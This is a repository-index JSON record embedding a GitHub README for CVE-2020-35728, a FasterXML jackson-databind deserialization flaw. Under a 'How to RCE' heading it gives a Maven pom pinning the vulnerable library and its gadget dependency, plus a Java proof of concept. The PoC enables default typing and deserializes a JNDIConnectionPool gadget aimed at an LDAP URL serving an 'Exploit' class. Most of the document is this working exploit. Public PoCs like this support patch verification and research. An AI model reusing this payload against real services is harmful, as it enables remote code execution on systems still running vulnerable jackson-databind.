{"id":21616637,"url":"https://github.com/al1ex/cve-2020-35728","last_synced_at":"2025-03-18T17:22:26.669Z","repository":{"id":108707256,"uuid":"325689178","full_name":"Al1ex/CVE-2020-35728","owner":"Al1ex","description":" CVE-2020-35728 \u0026 Jackson-databind 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Description\r\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool (aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl).\r\n\r\n### How to RCE\r\npom.xml\r\n```\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\r\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\u003e\r\n    \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\r\n\r\n    \u003cgroupId\u003ecom.jacksonTest\u003c/groupId\u003e\r\n    \u003cartifactId\u003ejacksonTest\u003c/artifactId\u003e\r\n    \u003cversion\u003e1.0-SNAPSHOT\u003c/version\u003e\r\n    \u003cdependencies\u003e\r\n        \u003cdependency\u003e\r\n            \u003cgroupId\u003ecom.fasterxml.jackson.core\u003c/groupId\u003e\r\n            \u003cartifactId\u003ejackson-databind\u003c/artifactId\u003e\r\n            \u003cversion\u003e2.9.10.7\u003c/version\u003e\r\n        \u003c/dependency\u003e\r\n        \u003c!-- https://mvnrepository.com/artifact/org.glassfish.web/jakarta.servlet.jsp.jstl --\u003e\r\n        \u003cdependency\u003e\r\n            \u003cgroupId\u003eorg.glassfish.web\u003c/groupId\u003e\r\n            \u003cartifactId\u003ejakarta.servlet.jsp.jstl\u003c/artifactId\u003e\r\n            \u003cversion\u003e2.0.0\u003c/version\u003e\r\n        \u003c/dependency\u003e\r\n\r\n\r\n        \u003cdependency\u003e\r\n            \u003cgroupId\u003eorg.slf4j\u003c/groupId\u003e\r\n            \u003cartifactId\u003eslf4j-nop\u003c/artifactId\u003e\r\n            \u003cversion\u003e1.7.2\u003c/version\u003e\r\n        \u003c/dependency\u003e\r\n        \u003c!-- https://mvnrepository.com/artifact/javax.transaction/jta --\u003e\r\n        \u003cdependency\u003e\r\n            \u003cgroupId\u003ejavax.transaction\u003c/groupId\u003e\r\n            \u003cartifactId\u003ejta\u003c/artifactId\u003e\r\n            \u003cversion\u003e1.1\u003c/version\u003e\r\n        \u003c/dependency\u003e\r\n    \u003c/dependencies\u003e\r\n\u003c/project\u003e\r\n```\r\npoc.java\r\n~~~\r\nimport com.fasterxml.jackson.databind.ObjectMapper;\r\n\r\npublic class POC {\r\n    public static void main(String[] args) throws Exception {\r\n        String payload = \"[\\\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\\\",{\\\"jndiPath\\\":\\\"ldap://127.0.0.1:1088/Exploit\\\"}]\";\r\n        ObjectMapper mapper = new ObjectMapper();\r\n        mapper.enableDefaultTyping();\r\n        Object obj = mapper.readValue(payload, Object.class);\r\n        mapper.writeValueAsString(obj);\r\n    }\r\n}\r\n~~~\r\nresult\r\n\r\n![result](image/result.jpg)\r\n\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2020-35728","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fal1ex%2Fcve-2020-35728","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Fcve-2020-35728/lists"}